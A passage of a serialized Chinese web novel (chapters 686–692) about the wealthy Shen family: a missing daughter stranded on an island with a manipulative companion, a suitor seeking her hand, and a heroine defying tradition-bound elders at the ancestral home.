圣堂神父和罗塞蒂家族首领如沐春风,亲自接送沈清予踏上回国的航班。 这次航程全机上下服务的只有他一人,为了保证沈清予的安全,飞机上的保镖比空乘人员还多。 负责接待的空姐从没见过长相如此俊朗的权贵,送咖啡时一时看迷了眼,黑色液体洒出来了都不知道。 顾赫接过咖啡,正要驱赶,沈清予放下手里的图纸,单手托腮打量空姐。顾赫见状,立马退回一边。 他的眼神放荡直白,浑身透着的苏懒劲儿根本不是一般人能招架的,空姐被盯得有些合不拢腿,羞涩摸了摸刘海,“先生,还有什么能帮到您的吗?” 沈清予朝她勾了勾手指,“过来。” 难道虐恋情深带球跑,灰姑娘转角遇上霸总的爱情游戏终于轮到她了? 长这么帅,就算是替身梗她也能演一百集。 空姐摩拳擦掌,又害羞又激动,扭捏又矜持走上前,“先生,很乐意为您服务。” 沈清予随手打开桌上了密码箱,“你是女生,帮我参谋一下,送什么样的宝石女生会更喜欢一点。” “您真是说笑了,只要是珠宝,女生……豁!!” 空姐极度不适眯了眯眼,这就是有钱人的魔法吗?她有生之年唯一集齐的财富密码也就只有某平台过年发放的百福卡,该死的有钱人竟然收集百宝箱? 红宝石、绿宝石、粉钻、鸽子蛋…… 这还选什么啊?随便哪一个女生不得把命给你? 沈清予见空姐盯着眼前的珠宝一会儿皱眉一会儿摇头,以为是没有满意的,意兴阑珊摆了摆手,“行了,知道了。” “诶?”空姐还没反应过来,就被顾赫请出了头等舱。 沈清予漫不经心把玩着箱子里的宝石。 当初他答应姜花衫,只要她穿了他选的礼服,以后她所有的珠宝首饰都由他承包了。 但西湾之行举步维艰,他带去的家当不到半年就被挥霍了一半,好不容易这次来Y国谈成了几笔生意,但为了保住学历,刚刚又捐给了圣经教堂的神棍们,现在的他,穷得也只能买些‘碎钻’了。 顾赫倒了一杯香槟递上前,“少爷,您提前回来是为了眠枝小姐的事吗?” 沈清予接过香槟,“有老爷子在,小枝不会有事。但有人想趁着老爷子分心给沈家泼脏水,那也要问问我答不答应?” 顾赫斟酌片刻,问道,“少爷是打算先回沈园?” 沈清予垂眸,轻抿了一口香槟,“不,去鲸鱼岛。” * 鲸鱼岛。 自从舆论发酵后,A国政府为了尽早平息民怨强军压境,直接封锁了岛内所有进出口。 此前沈家暗堂已经清扫过战场,但并未找到任何人质的线索。 沈让上岛后,公海舰队、警署厅联合搜查,终于在一处暗礁地发现了韩洋的尸体。此消息一出,民众哗然,银星集团董事长当晚被送进医院抢救。 绑匪从发布视频之后便销声匿迹,他们曾试图以低俗的手段掩盖罪恶本事身,但清醒之人大有人在,舆论的风向根本不受任何资方引导,那段污秽的视频只要一经流露就会被封杀举报,在陈述绑架案真相的帖子下,基本看不到落井下石的低俗言论,所有人都在祈祷这个被饱经摧残的女孩儿能安全回家。 时间一晃又是一天。 沈眠枝和周宴珩依旧下落不明。 沈让站在海边,无悲无喜看着眼前的景色。 “五爷,我们抓到一个偷渡上岸的小子,他说要见您。” 沈让收敛神色,转身时微微一愣,“阿灼?” 苏灼浑身湿透,脸色苍白,“伯父。” 沈让摆摆手,等暗卫退下皱着眉上下打量他,“你怎么会在这?公海舰队已经封锁了所有进出口,你是怎么进来的?” 苏灼扑通跪倒在地,眼眶猩红,“伯父,我想知道……” 他紧紧握拳,喉间哽塞,“视频里的人是不是沈小姐?” 沈让顿时气血上涌,神情阴冷,“与你何干?” 竟然问一个父亲这种问题,这小子这么问,真是找死。 苏灼对着沈让连磕了三个头,向来温和的眼睛如开锋利刃。 “不是她,我来找她。是她……我娶她。” …… 第687章 明知不可为而为 早在沈让上岛的第一天,就已经查明沈眠枝被抓没多久就跳了海,虽说现在依旧生死不明,但比起既定悲惨的事实,这样的结果反而是不幸中的万幸。 要不是确定如此,沈让早在视频流露出来的当天就已经屠岛了。 这些绑匪故意混淆视听明显是想挑拨沈家的关系,沈让心知肚明,但眼下忙着找女儿暂时腾不出手澄清,谣言虽说不像预计的那般愈演愈烈,但总归损坏了沈眠枝的清誉,没想到竟然还有人找上门来结亲。 更让他没想到的是,竟然还是苏家小子。 这一年苏家和余家结交亲密大家都看在眼里,苏莘对苏灼寄予厚望,这苏灼不应该属意的是余家姑娘吗? 沈让一脸凶相,盯着苏灼上下打量。 “你小子……该不会是想趁火打劫吧?” 苏灼愣了愣,不解看着沈让,“什么?” 沈让摸了摸下巴,围着苏灼左右转圈。 掌管暗堂几十年,沈让的性子多少带着戾气,鲸港这么多青年才俊,除了家里几个小辈,他还真没有看上眼的。如比苏灼,虽有苏家做靠山,但性格慢热行事温吞,完全没有一点可取之处。 这样的人怎么可能护着她的女儿,比起来,周家那小子虽说不是个好东西,但起码能用。 不过…… 那都是沈让在此之前的想法,眼前的苏灼完全打破了沈让对他的刻板印象。 以苏家今时今日的地位,哪怕眠枝沈家女儿,苏敬琉也断然不会同意这门亲事。这小子孤身一人闯岛,可见是没有同家里商量,自己跑出来的。 世家大族教出来的孩子最先懂得的就是权衡利弊,当年的他何尝不懂权衡,但还是为了一人蒙了心智。 沈让微微眯眼,神情冷峻,“你凭什么以为你一句想娶,我就会把女儿嫁给你?” 苏灼眸光微动,手指倏然收紧了半分,指节微微泛白死死拽着手里的细沙。 沈让,“还是你觉得,以眠枝现在的处境,只要是个人想娶我就会答应?” 苏灼倏尔抬头,“我不是这个意思。” “我不管你是什么意思,但是小子,我告诉你,我沈让的女儿只有她想不想嫁,没有谁想不想娶?别说外头那些乱七八糟的东西跟我女儿无关,就算……” 沈让深吸了一口气,咬牙道,“就算是她,她有祖父,有父亲,有兄弟姊妹,有整个沈家做依靠,不需要一段婚姻证明什么。” “我不是……”苏灼心知沈让是误会了他的意思,他绝没有趁人之危的意思,正要解释,脑子忽然空白,片刻后嘴角勾出一抹微笑,跌坐在地。 “不是她……” 这一刻,所有的意识回笼,家族的教化,祖父的期盼,苏灼缓缓松开指尖,细滑的沙粒一点一点从指尖渗透。 绑匪的视频流露出来时,他正在参加蓝海营的封闭训练,并不知情。比赛当日,在上机时他偶然间听到同组对手在谈论沈眠枝,无言会务不堪入耳。 他气不过,不顾比赛制度出手教训了那两人,不想也因此知道了鲸鱼岛绑架案。 从得知沈眠枝的消息后,他整个人都浑浑噩噩。空乘战机一时是他的舒适圈,那是他一次在自己的舒适圈无所适从,他依靠肌肉反应起飞。等反应过来的时候已经偏移了航线。 耳机里,指导员的声音暴跳如雷。 返航! 他现在必须返航。 爷爷和父亲的都等着他拿下King-33首飞的资格,为苏家再添荣光。 他明明知道正确的航线在哪,但还是选择了强行降落。 孤注一掷来鲸鱼岛,又莫名其妙说要娶她,所有一切都是明知不可为而为之,大概是……疯了。 苏灼缓缓起身,有些狼狈,“是我冒昧了,沈伯父莫怪。您……说的对,她不需要我。” 他眼角湿润,朝沈让点了点头,“那……我就不打……” “急什么?”沈让冷冷打断他,“你刚刚不是说了两件事吗?” 苏灼一愣,抬眸看向沈让。 沈让,“娶,你暂时是娶不下的,但……你可以找她,还是说……娶不了你就不想找了?” “不是!”苏灼连忙否认,“我想,沈伯伯您同意我找人?” “啧。”沈让原本看苏灼顺眼一点,因为这句话又不顺眼了,一脸嫌弃,“苏家到底是怎么养出你这么个木鱼脑袋,这岛又不跟我姓,我不让你找你就不能找了?” 说着便往灯塔走去。 苏灼摇头,正要解释,见沈让完全不搭理他,犹豫片刻主动跟了上去。 …… 第688章 心有灵犀 “阿珩哥,你伤成这样还能抓住一只野猪,真是太厉害了。” 沈眠枝手里拿着一块锋利的燧石片,动作娴熟取下一块后腿肉,因为没有刀具,野猪的皮毛不好分割,沈眠枝干脆连皮带投一大块上架烤。 周宴珩不方便移动,大部分时间都靠在临时搭建的木棚里休息。 得益于沈眠枝的照顾,他的情况好转许多,但是荒岛条件恶劣,这么拖下去两只条只怕是保不住了。 沈眠枝处理野猪的手法极其干脆,娇滴滴的脸上挂着几滴鲜红,纤细素手顺着血淋淋的口子转了一圈便掏出一个比掌心还大的心肝。 “阿珩哥,烤猪心你吃吗?” 周宴珩抬头看了看天色,“要下雨了。” 沈眠枝连忙起身,“我先去海边洗洗手,顺便看看有没有动静,已经过去两天了,差不多应该应该要有消息了。” 周宴珩点头,温声,“小心。” 沈眠枝笑了笑,“放心,我很快回来。”说着转身,小跑出了红树林。 周宴珩眼里的笑意收拢,转头看向不远处被开膛破肚的野猪。 心狠手辣,胆子也不小,这两天沈眠枝还真是给了他不少惊喜。 * 沈眠枝走出红树林后在暗礁观察了片刻,确定没有人,才慢慢走到海边。 海浪翻涌,空气里的除了湿咸味还夹着泥土腐木的味道。 风雨欲来。 沈眠枝蹲下身,半点没有避雨的意思,细细清洗着手里的污血。 * 沁园。 花厅气氛凝重,二房、三房对立而坐。 沈谦神色淡淡低头抿茶。 沈渊往对面瞧了一眼,扯着嘴角,低头私语,“如今这家族会议真是越来越不像样了,连几个女流小辈都能登堂入室,也不知道老爷子是怎么想的?” 沈谦搁茶,撩着眼帘瞥了沈娇一眼,没有接话。 沈娇斜睨了他,只当没看见。 傅绥尔拉了拉姜花衫的袖摆,捂着嘴小声道,“这两人又帮不上什么忙,爷爷把他们叫来什么意思?” 不等姜花衫回答,花厅珠帘晃动,沈庄踱步缓缓走了进来。 “都到齐了?” “爸。” “爷爷。” 众人立马站起身。 “坐吧。”沈庄摆摆手,立马进入正题,“外头的风言风语都传遍了,不用我说,你们应该都知晓了吧?” 沈渊,“政府还未发声,消息就先走漏了,必然是有人搞鬼。爸您放心,我安排人去查了,一定把幕后之人揪出来。” 沈谦,“只要视频里的人与沈家无关,这些谣言都不足为虑,当务之急是先找到枝枝,听说老五亲自去了岛上,还没有消息吗?” 沈娇不冷不淡扫了一眼,冷笑,这两人还真是一个比一个会演戏,不知道的还以为对三房有多仗义。 沈庄沉吟片刻,淡淡道,“暗堂已经把岛上都搜遍了,但还是没有一点线索。” 沈渊皱眉,“听说这次一起消失的还有周家那小子,难不成是一起出了事?” 说者无意听者有意,姜花衫顿时灵光一闪,神情微动。 沈娇,“爸,鲸鱼岛除了那三个海滩还有几十处未经开发的荒岛,有没有可能枝枝被冲到了荒岛?” 沈渊摇了摇头,故意唱衰,“如果是冲到了荒岛,枝枝应该会想办法给我们报信,但两天过去了,救援飞机已经在鲸鱼岛伤口转了百八十回,一点消息都没有,实属不正常。就怕……” 见沈娇脸色不好,沈渊抬眸转看手里的茶盏,“就怕枝枝已经……大海捞针,所以才找不到人。” 沈渊这话虽然难听,但……并非完全没有可能,沈娇忍着脾气,转头看向沈庄,“爸,岛上地势复杂,气候多变,有可能枝枝现在困在某处不便与我们联系,我觉得还是应该加大力度,全面覆盖所有荒岛。” “爷爷,我……” 傅绥尔原本想毛遂自荐参与搜救工作,她运气那么好,说不定歪打误着就找到了沈眠枝。没等她开口,一旁姜花衫忽然暗暗拉了她一把,傅绥尔愣了愣,强行改口,“我觉得我妈说的对,还是应该多人手,枝枝肯定还活着。” 沈庄,“清予捎话过来说回去岛上帮忙,有他和老五守在那,找到人是迟早的事。” 沈渊原本还有些幸灾乐祸,一听见沈清予也掺和进去了,立马笑不出来了。 去年沈渊病重,想让沈清予回来尽孝,结果沈清予以学业为重连消息都不回。现在竟然为了三房一个不相干的丫头从Y国赶回来,沈渊捂着胸口,只觉养好半年的心脏病又要犯了。 “清予哥回来了?”傅绥尔顿时眼睛一亮。 从沈清予去西湾之后,这一年都没有回过沈园,偶尔听见他的消息,不是被学校辞退就是惹了那个家族,麻烦事不断。 沈庄点头,“枝枝的事只能等,我叫你们来是另有一事商量。” 众人不觉一愣,眼下还有什么事比寻找沈眠枝更重要。 沈庄眸色沉重了几分,缓缓道,“兰晞传话回来,武太奶油尽灯枯,时日无多了。” 姜花衫莫名一怔,脑海里不觉闪过老人满是皱纹的慈祥面容。 她是第一个告诉她,她的名字有出处,她是个被赋予了美好祝福的孩子。 不管是上一世还是这一世,武太奶都用她的方式爱护过她。 沈庄,“枝枝的事一时完结不了,我必须守在鲸港,但太奶那边不能怠慢,老大、老二,你们两个先去襄英,等枝枝找回来我再领她一块去。” 武太奶一生未嫁,从沈庄祖父那一辈至今,整整八十春秋都在沈家,地位早已不是普通的佣人可比。 沈谦、沈渊也知道厉害,立马应下。 “爷爷……”姜花衫思忖片刻,眸光微定,“我也去。” * 第689章 都是演员 天际压着厚重的铅灰色,云层低垂,咸腥的空气凝滞而粘稠。 看来接下来的雨会下很久。 沈眠枝蹲踞在海边,血水干涸渗进了指甲缝不好清洗,她细细揉搓着每一根指尖,全程安静地不像话。 她洗了很久,直到指尖发白看不出任何血色也依旧没有停下来的意思。 “轰隆——” 就在这时,第一滴硕大的雨点沉重地砸在她裸露的后颈上,随即,第二滴,第三滴…… 铅灰色的天幕瞬间被撕裂,亿万条银灰色的鞭子砸向海面上,整个世界顷刻间被一片震耳欲聋的轰鸣所吞噬。 暴雨劈头盖脸地浇下,瞬间打湿了沈眠枝的头发和衣衫,冰冷的雨水顺着她的脸颊、脖颈肆意流淌。 这几日相处,沈眠枝已经基本确定那根不受控制的牵引绳就是周宴珩,每次只要一看见他,她的脑子就跟脑干缺失了一,完全失去了思考能力。 她现在的处境很割裂,既沉沦于周宴珩的引诱,又清醒地知道这是陷阱。 她试徒挣扎,但束缚在她身上的规则太过霸道,只要她反抗,脑子就会被会强行灌入更多空白。 原本上岛第一天,沈眠枝就在沙滩礁石区留下了沈家暗卫才看得懂的暗号,但遇见周宴珩后,她立马就把暗号撤了。 既然演要共患难的戏码,不如废了周宴珩的两只腿,他没了腿,她依旧不弃不离,不是更加让人感动吗? 不过,要是让‘不知底细的规则’知道她的想法,只怕会继续抹除让她的意识。 沈眠枝抬起头,目光穿透密集的雨帘,投向远处那片彻底沸腾、灰暗混沌的海天相接之处。 前一秒还是面无表情的脸上忽然就染上了一抹娇羞。 “好不容易能和阿珩哥单独相处,怎么能让别人来打扰我们呢?” “轰隆——” 雨势如乱针,打在脸上连眼睛都睁不开。 沈眠枝回头看向红树林,这雨一时半会儿停不了,她只是个笨蛋千金,哪会搭屋子?这么大的风,顶上的叶子应该早就掀飞了吧? 她有些‘不安’,阿珩哥受了这么重的伤,不知道还能不能再熬两天?万一死了,她该怎么办? 沈眠枝脚步慌乱,跌跌撞撞往红树林跑去。 “阿珩哥……” 突如其来的暴雨让周宴珩痛苦不堪,就在刚刚,顶上的草棚突然倾倒,要不是他反应快就被埋在那一堆草木里了。 虽然幸免于难,但刚包扎好的伤口因此裂开,隐隐传来烧灼撕裂的感觉。 再这么下去,他迟早要废了。 周宴珩低喘了一声,咬牙支起上半身,向更深处的树林爬去。 “阿珩哥……” 周宴珩眸光微顿,还没反应过来,一道身影突然挤进他怀里,一把拉住他的胳膊撑扶着他的身体。 “我扶你。” 周宴珩沉默片刻,手掌包裹住圆润的肩头,将整个身体的重量都压了上去。 沈眠枝脸色微白,但什么都没说,咬牙撑着周宴珩一步一步往密林里挪动。 密林的树叶相对茂盛,但也只能削弱雨势,不能完全幸免。 沈眠枝早在来的路上就已经被淋湿了,周宴珩也没好到哪里去,单薄的衣裳完全抵挡不出皮肤真层的温度,肢体交错,彼此心照不宣。 “……” 周宴珩是花丛老手了,氛围什么的根本不能影响他,倒是沈眠枝,整个人红得跟煮熟的虾蟹似的,挪动的过程连头都不敢抬。 好不容易扶着周宴珩坐下,沈眠枝暗暗松了口气,正要起身,周宴珩轻轻扣住她的手,“枝枝~” 沈眠枝愣了愣,一脸诧异抬起头。 周宴珩漫不经心摩挲她腕间的脉搏,“外面还没有消息吗?” 沈眠枝眼睑轻颤,她能感觉到周宴珩的指尖很冷,比雨水还冷,低温是身体在预警。 她摇了摇头,雨水顺着瓷白的脸上缓缓滑落,眼神极其无辜,“对不起阿珩哥,我明明留下了沈家的暗号,但不知道为什么一点消息都没有。” “我们再等等吧?或许明天就会有人来救我们了。” “你放心,我绝对不会丢下你不管的,不管怎么样,我们都要一起出去。” * 彼时的襄英。 晴空万里,乡间小道蝉鸣不断。 青石甬道被正午的烈日烤得发白,蒸腾出扭曲的热浪。 沈谦贵为国会议员长,又是家主长子,听说他要来,沈家老宅的叔伯们个个晒得满头大汗守在老院外等着迎接。 “少爷,他们快到了。” 沈兰晞抬步,逆光迈过大门,他步履极稳,每一步踏下,都精准地落在石缝的间隙。 日光刺眼,他的脸上却无半分不适,眼睫低垂着,遮住了眸底所有的情绪,只留下一片拒人千里的淡漠。 自从上次沈兰晞小发神威后,族中长辈在他面前都是小心做人,此刻见到他都是一脸诧异。 沈谦虽是长子,但在这些族人眼中地位远不如沈兰晞这个嫡长孙,按理,沈兰晞不用跟着他们亲自来门口迎接。 难道鲸港的传闻有假,大房和二房关系并不如外界说的那般不睦? 没等众人想明白,不远处传来汽车的鸣笛声。 转眼,一排看不见尾的黑色长龙整齐有序停靠在老宅门前。 保镖下车开门,沈谦和沈渊率先从车里走了下来。 “哦豁~”高止慢悠悠凑上前,啧了一声,“该来的不来,不该来的来了俩~” 话音刚落,紧随其后的黑色车门缓缓打开,一只脚探了出来。 纤细的脚踝,肤色是冷调的白,在烈日的直射下,几乎晃眼。 沈兰晞嘴角轻牵,古井无波的眸底荡开一圈微不可察的涟漪后又飞快地平复了。 …… 第690章 封建余孽 “阿谦,阿渊,你们可算是回来了。” 沈航领着众人上前寒暄。 沈谦朝沈兰晞点了点头,转眸落回众人之间,神情温和,“大热天的,你们怎么不在屋里等?” 沈航擦了擦额上豆大的汗珠,“我们也就刚到,你们好不容易回来一趟,可不能怠慢,哈哈哈哈。” 姜花衫撑着一把遮阳伞,怀里还抱着小可怜,站了一会儿就快焉。 老宅这些人规矩多,她刚来不想费劲,便也没有催促,安静站在一边等着进屋看武太奶。 一群人寒暄完,转头把目光放在了姜花衫身上。 “这位是衫衫吧?” 其实早从姜花衫下车,族里的长辈就已经注意到她了。 虽然沈庄这一脉在族中地位不凡,但也没有让各房长辈主动向她问好的道理。 众人等了一会儿,也不见姜花衫主动上前示好,沈航便假装不在意,故意发问。 沈谦神情微动,含笑看向姜花衫,“衫衫,这几位是家中长辈,过来见礼。” 姜花衫扯着嘴角笑了笑,懒洋洋上前,“各位叔伯好。” 这什么态度? 沈航眉头微蹙,抬眸打量了沈谦一眼,勉强笑了笑,“鲸港真是人杰地灵啊,衫衫丫头越长越漂亮了。” 姜花衫笑得更敷衍了。 在这位大表叔眼中,女人容貌太甚就是错,他夸谁好看就是在骂谁是狐狸精。 上一世要不是他莫名其妙看她不顺眼,那几位婶娘也不会‘百般照顾’她。 平心而论,姜花衫的态度其实算不上恶劣,比她在沈园乖训多了,但老宅的叔伯们见惯了被规训地服服帖帖的傀儡,即便姜花衫已经收敛,但在他们眼中已经算是‘大逆不道’了。 比如现在,长辈们都顶着太阳暴晒,她一个小辈竟然还撑着伞,不仅如此,连她怀里的乌龟都穿花裙戴墨镜,畜生比人还金贵,简直有伤风化。 沈航正要训斥,一旁的沈兰晞忽然开口,“表叔公还在屋里等,大家先进屋吧。” 家里嫡少爷发话,众人当然要给薄面,立马点头应道,“是啊,兰晞说的对,咱们进去说话。” 沈谦笑着上前,“兰晞,怎么样?军队训练还吃得消吗?” 沈兰晞神情淡淡,“师长对我很照顾,一切都好。” 沈渊跟在身后,忍不住心里冒酸水,你老子是沈玺,那些师长都是你老子的部下,当然对你好了。 沈家族人心照不宣,围簇着沈兰晞和沈谦,一群人浩浩荡荡向主宅走去。 姜花衫在原地翻了个白眼,等和众人拉开一段距离才慢吞吞跟上。 跨入主院,一群人直接往会客主厅走去,按照老宅的规矩,必然又是一堆毫无营养的寒暄废话。 姜花衫当即转头,朝前院管事招了招手。 “太奶奶现在怎么样?人清醒吗?方便探视吗?” “姜小姐,您终于来了,太奶奶要知道您来了一定很高兴。” 姜花衫此前在老宅小住时,家里佣人管家都知道武太奶很喜欢这位姜小姐,便也没有藏话,直接带路。 沈航正在前面领路,转眼看见姜花衫竟然自己跟着管家去了后院,顿时神色不悦。 这也太没有规矩了。 他清咳了一声,提高了嗓音,“衫衫,主厅在这边,” 他一说话,所有人的不约而同停下脚步,眼神极为压迫看了过来。 管家顿时心惊,连忙停下脚步。 姜花衫皱了皱眉,隔着一道廊轩打量沈航。 碍于沈兰晞和沈谦在场,沈航勉强保持微笑,“你表叔公还在主厅等着,不如先见过他老人家再听从安排。” 见完还要听从安排? 姜花衫差点要被气笑了,上次来鲸港的时候有武太奶护着,弄着她差点就忘了老宅里面还有这么一群封建余孽。 上一世,是她主动来老宅学规矩,所以被他们拿捏也是没办法。 但这一世,她又不当沈氏小夫人,凭什么受这鸟气? 姜花衫收了伞,懒懒道,“我是来见太奶奶的又不是来见表叔公的。” 沈庄不在,沈钧就是沈家族辈地位最高的长者,姜花衫这般不客气,沈家族人当即变了脸。 “你这是什么话?谁让你这么跟长辈说话的?还有没有规矩了?” 姜花衫嗤笑,她还没发力呢,这群余孽反应就这么大,也太沉不住气了。 沈航强忍着怒意,转头看向沈兰晞和沈谦。 沈谦淡淡笑了笑,没有接话。 姜花衫现在有老爷子护着,在沈园谁碰谁死,他还不想为了这点小事惹屎上身。 “高止。”沈兰晞淡淡开口。 众人立马转怒为喜,沈兰晞最重规矩,肯定会好好教训这丫头。 “领她去太奶奶的院子。” “……” 高兴地太早了,沈航眼里的诧异当场碎掉,一脸诧异看向沈兰晞 去太奶奶的院子?难道不应该是罚跪祠堂吗??? “是。” 高止蹭得一下闪现到姜花衫面前,表情严峻扶了扶脸上的墨镜,弯腰对着姜花衫做了个请的动作。 “姜小姐,跟我来。” 姜花衫看了沈兰晞一眼,冷哼了一声,掉头往内院走去。 还敢哼沈兰晞?! 沈航眼皮跳了跳,用读了一篇鬼故事的眼神打量沈兰晞,不是,沈兰晞的脾气什么时候这么好了? 沈谦和沈渊同样表情凝重,不过和沈航的费解不同,两人的算计更深。 沈兰晞向来不近人情,如今竟然也这么容忍姜花衫,果然,这小子也在暗暗拉拢三房。 * 沈钧许久没有看见沈谦和沈渊了,久别重逢不免话多了一些。 老宅许久没有这么热闹了,沈钧高兴,便张罗着族中相近的几支亲族一起吃团圆饭。 武太奶精神力大如从前,一天清醒只有几个小时,姜花衫守了一下午太奶奶都没有睁过眼。 临近饭点,外院来人传话让她一同去正厅用餐,原本姜花衫是不乐意去,但又想着这段时间会住在这,以后总要和封建余孽打交道,不如把路扫平一劳永逸,便爽快应下了。 她刻意晚到了十分钟,主厅已经人影绰绰,灯火通明。 厅里摆了四桌,三桌在正厅,都是男丁,一桌在偏厅,都是女眷。 姜花衫前脚刚跨过门槛,一位穿着得体的贵夫人走上前,十分亲热拉着她的手。 “这是衫衫吧?女大十八变,差点都认不出了。” 见姜花衫盯着她打量,女人笑了笑,“我是你表叔公家的二媳妇,你可以叫我二婶娘,咱们的席位在那边,我领你过去。” …… 第691章 家宴往来 这位二婶娘可算是姜花衫的老熟人了,上一世,她们几乎朝夕相处了大半年,她在沈家娇养了十年的手掌都快被这位二婶娘打出茧了。 姜花衫扫了一眼女人的眉眼,不冷不热抽回自己的手。 “二婶娘。” 现在,她不是前来学规矩的沈小夫人,她也不是教她闺训的族学老师,犯不着太亲近。 二婶娘表情微怔,片刻又缓了过来,指着偏厅的席位,“已经上菜了,快过去吧。” 姜花衫点头,跟着二婶娘入了偏厅,期间路过主厅时好奇看了一眼。 沈钧因着辈分原因坐在主位,但次席位坐着的并非年长的沈谦,而是沈兰晞。 果然,对于这些沈家族人来说,嫡庶之分根深蒂固,难怪沈谦也这么讨厌老宅的人。 沈兰晞察觉到一束打量的目光,抬眸看了过来,两人的目光正好撞上。 从他去了313师后,两人几乎半年未见,除了刚刚在大宅门口的一个白眼,这算是他们半年来第一次眼神交汇。 没等沈兰晞回过味,姜花衫又一个白眼,掉头进了偏厅。 高止默默给沈兰晞倒了杯水酒,小声提醒,“少爷,姜小姐还是这么讨厌您。” 沈兰晞,“……” 相比主厅,偏厅的气氛安静许多,女眷们极少说话,偶尔交谈也是捂着小口轻声细语。 姜花衫环顾一圈,发现了许多上一世的老熟人。 沈家没有被驱赶的族人大多生活在襄英,在这土生土长的沈家女从小都要学规矩。 不过年代早已不同,她们的规矩也并不是真如封建礼教那般古板,只是束缚比男丁多一点。 这次族里来的不仅是长辈,还有几个与姜花衫同辈的年轻人,听说姜花衫不是沈家血脉,但因为得到族长的偏爱比沈家小姐还风光,大家对她都很好奇。 族里的规矩,家宴开席,晚辈是不能晚到的,若是没有特殊原因,一般到了也不能上桌的,但姜花衫一句解释都没有,水灵灵地就坐下了,女眷们略有些诧异,不觉视线都转了过来。 二婶娘看着眼里,委婉笑了笑,与交好的妯娌互换了眼神后,清咳了一声,“衫衫,这几位是家中的婶娘伯母,见了老家主也要喊声堂叔伯。” 这是在告诉姜花衫,席上几位是与沈家关系亲厚的长辈。 姜花衫点头,“婶娘们好。” 众人含笑,简单寒暄了几句。 二婶娘又低声道,“还有几位年长的姑奶奶,她们身子不爽利,这次宴席便没有来,明天我带你去见见?” 姜花衫想也没用,直接拒绝,“明天估计是不得空了,太奶奶还没醒,我明天还要去看她老人家。” 那几位虎姑婆,跟封建余孽一样不讲道理,她才懒得去败兴致。 二婶娘愣了愣,显然是没想到姜花衫竟然拒绝得这么理直气壮。 但她是主家的孩子,她也不好教训,只能虚笑了两声,“那,后天怎么样?” 姜花衫,“后天也没空。太奶奶要是醒了,估计还要和我说说话。” 二婶娘看出了她这是不想去,想起家里长辈的叮嘱,她只能规劝,“衫衫啊,你看你好不容易来老宅一趟,家里长辈都念叨着你,要是不见难免失了礼数。咱们这样的大家族,没规矩可不行。” 姜花衫点头,“二婶娘误会了,我啊,不是不见,只不过事有轻重缓急。这次我的主要目的是替爷爷来看望太奶奶的,太奶奶的情况您也知道,若是不守着只怕会有遗憾。当然,若是那几位姑奶奶也快不行了,就算我没说,我今晚就去。” “……” 这话说的。 二婶娘噎了半天,一时不知道该说什么。 姜花衫老神在在拿起筷子,一本正经,“二婶娘,食不言寝不语。” 一旁小辈虽然不知道两人在说什么,但见向来严肃苛责的二婶娘脸色不好,明显是落了下风,不免对这位鲸港来的大小姐肃然起敬。 新鲜的血液热爱的是沸腾,而不是死气沉沉,她们虽被规则规训但并非不喜欢打破规则的人。 坐在姜花衫身侧的少女默默将面前的果汁送到她面前。 “要喝吗?这是自家榨的桑葚汁。” 姜花衫顺手接过果汁,“喝。” 二婶娘侧目瞧了她一眼,沉默片刻,没有再说话。 席间,长辈们偶尔交谈,但说的都是无关痛痒的话题,姜花衫没有兴趣,便专心致志吃饭。 主厅那边吃的差不多了,开始撤席。 姜花衫还准备动筷,身边的少女轻轻碰了碰她的胳膊,轻声道,“主厅撤席,不能再动筷子了。” 其实在沈园也有这个规矩,但沈庄几乎每次都是看着几个小辈吃饱才停筷。 姜花衫哦了一声,放下筷子,正要起身。 一旁的二婶娘眼皮跳了跳,赶紧拉住她,“你做什么?” “饭都吃完了,不走留下过年?”姜花衫说的理所当然。 二婶娘直接忽视她的疯言疯语,小声道,“再坐会。” 话音刚落,主厅那边便摆上了一张八仙长桌,一群人从餐桌又转移到了茶桌,显然是还要寒暄。 值得深思的是,偏厅的宴席撤下后,摆上了琳琅满目的茶具,女眷们早已经习惯,用热毛巾净手后点的点香,煮的煮茶,气氛一派和谐。 姜花衫皱眉,“我没有饭后饮茶的习惯。” 二婶娘只当没听见,顺手端起茶托递给她,“今天的家宴来的都是你的长辈,表叔公在那,他是老家主的堂兄,于情于理你也应该去打声招呼。” 如果只是打声招呼的确合情合理,毕竟这位堂叔公于爷爷有救命之恩。 姜花衫沉默片刻,接过茶托,抬步直奔沈钧。 …… 第692章 都不是省油的灯 “表叔公,喝茶。” 沈钧正侧头和沈兰晞说话,冷不丁听见身后有人奉茶,回头一见是姜花衫,挑了挑眉,意有所指,“你就是衫衫吧?看着的确机灵,见过太奶奶了?” 他没有接茶,反问的语气看似随和,但总让人有些不舒服。 姜花衫仿若未察,点头,“见过了。” 沈钧盯着她打量了片刻,微微收敛了神色。 二婶娘见状,立马凑上前,小声提醒,“把茶托给我,给长辈奉茶要两只手。” 姜花衫十分受教,双手端起茶盏,腰身挺得笔直,“表叔公,喝茶。” 这性子也太傲了。 沈钧略有不满,正要开口,沈兰晞淡淡道,“叔公别见怪,爷爷养的娇,这些规矩家里几个小的都不懂,这个尤其,平时里,都是爷爷给她倒茶。” 一旁的沈谦和沈渊不知想到什么,深以为然点了点头,可不是,无法无天的。 众人脸色微变,不由对姜花衫更加好奇。 沈钧哪能听不懂沈兰晞的言外之意? 原本他是想借着众人在场好好敲打敲打姜花衫得性格,没想到沈兰晞竟然亲自出面维护。 权衡片刻,沈钧单手接过茶盏,低头抿了一口,“你难得来老宅一趟,别拘着。明天让你二婶娘带你去串串门,都是一家人,一年到头不见容易生分。” 二婶娘就跟在姜花衫身后,闻言,正要开口,姜花衫笑了笑,“好。” “……”二婶娘愣了愣,一脸诧异看着姜花衫,连原本要说的话都咽了回去。 沈钧见她态度良好,便也没有再为难。 姜花衫跟着二婶娘退出主厅,转身往院外走去。 二婶娘猝不及防,赶紧跟着追了出去,“衫衫,你去哪啊?宴会还没结束啊。” 姜花衫脚步一顿,站在廊庑前回看这位过去的老熟人。 “是你们的宴会没有结束,我的,已经结束的。” 夜色如墨,浓稠地包裹着庭院。姜花衫独自立在廊柱旁,身影融进沉沉的暗影里,唯有那双眼睛,在寂静长夜里透着熠熠璀璨的光。 二婶娘不明白她这话的深意,但不知道为什么内心忽然有些触动。 她不知道那是什么在涌动,强行压下之后,勉强笑了笑,“衫衫,那你先休息,明天七点我再过来接你。” 姜花衫皱眉,面带疑惑,“接我?” “你刚刚不是答应表叔公说要去拜见其他几位长辈吗?那几位姑奶奶年纪大了,起的早,我们早点去也显得有诚意。” “哦。那个啊。”她笑了笑,“二婶娘不用太在意,那是我随便敷衍表叔公的,不作数。” 